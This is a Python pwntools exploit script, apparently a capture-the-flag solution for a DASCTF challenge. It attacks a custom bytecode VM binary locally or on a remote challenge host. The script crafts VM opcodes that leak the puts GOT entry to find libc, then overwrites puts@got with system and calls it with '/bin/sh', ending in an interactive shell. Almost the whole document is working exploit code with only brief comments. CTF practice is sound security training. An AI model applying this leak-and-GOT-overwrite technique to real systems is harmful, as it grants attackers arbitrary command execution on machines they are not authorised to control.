1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
| import argparse
import sys
from pwn import *
parser = argparse.ArgumentParser()
parser.add_argument(
"mode",
type=int,
choices=[0, 1, 2],
nargs="?",
default=0,
help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()
filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
context.terminal = ["tmux", "splitw", "-h"]
def VIO_TEXT(x, code=95):
return log.info(f"\x1b[{code}m{x}\x1b[0m")
def CLEAR_TEXT(x, code=32):
return log.success(f"\x1b[{code}m{x}\x1b[0m")
if args.mode == 0:
io = process(filename)
CLEAR_TEXT("[*] Running on local machine")
elif args.mode == 1:
io = process(filename)
gdb.attach(io, gdbscript='''
# put your scripts here
''')
elif args.mode == 2:
io=remote("6fd39041.tcp-ctf2.dasctf.com", 9999, ssl=True)
else:
sys.exit(1)
elf = ELF(filename, checksec=False)
if libc_name:
libc = ELF(libc_name, checksec=False)
# --- Exploit Start ---
def imm(r,v):
return bytes([0x10,r]) +p32(v & 0xffffffff)
def op2(op,a,b):
return bytes([op,a,b]) # for other op
def ptr(r,off):
return bytes([0x30,r,off]) # r.value=&vm_mem[off]
def load(a,b):
return bytes([0x31,a,b]) # load [regb] to rega
def store(a,b):
return bytes([0x32,a,b]) # store regb to [rega]
def pr(a):
return bytes([0x40,a]) # print *rega or rega
def input(a):
return bytes([0x41,a]) # input integer to rega
def call(a):
return bytes([0x60,a])
op_payload=b''.join([
ptr(3,0), call(3), # puts for got
ptr(0,0), imm(1, elf.got['puts']-0x4050c0), op2(0x20,0,1), # add 1 to 0,r0 is at top of vm_mem
load(2,0), pr(2), # leak
input(1), store(0,1), # write system to puts@got
input(1), op2(0x20,0,1), call(0), # r0 = /bin/sh, puts@plt -> system
b'\xff'
])
io.sendlineafter(b'Size: ',str(len(op_payload)).encode())
io.send(op_payload)
for _ in range(3):
line=io.recvline()
if line and line.startswith(b'0x'):
leak=int(line.strip(),16)
break
libc.address=leak-libc.symbols['puts']
VIO_TEXT(f"leaked libc address: {hex(leak)}")
io.sendline(hex(libc.symbols['system']).encode())
bin_sh=(next(libc.search(b'/bin/sh\0'))-elf.got['puts']) & 0xFFFFFFFFFFFFFFFF # (1<<64)-1
io.sendline(hex(bin_sh).encode())
io.interactive()
|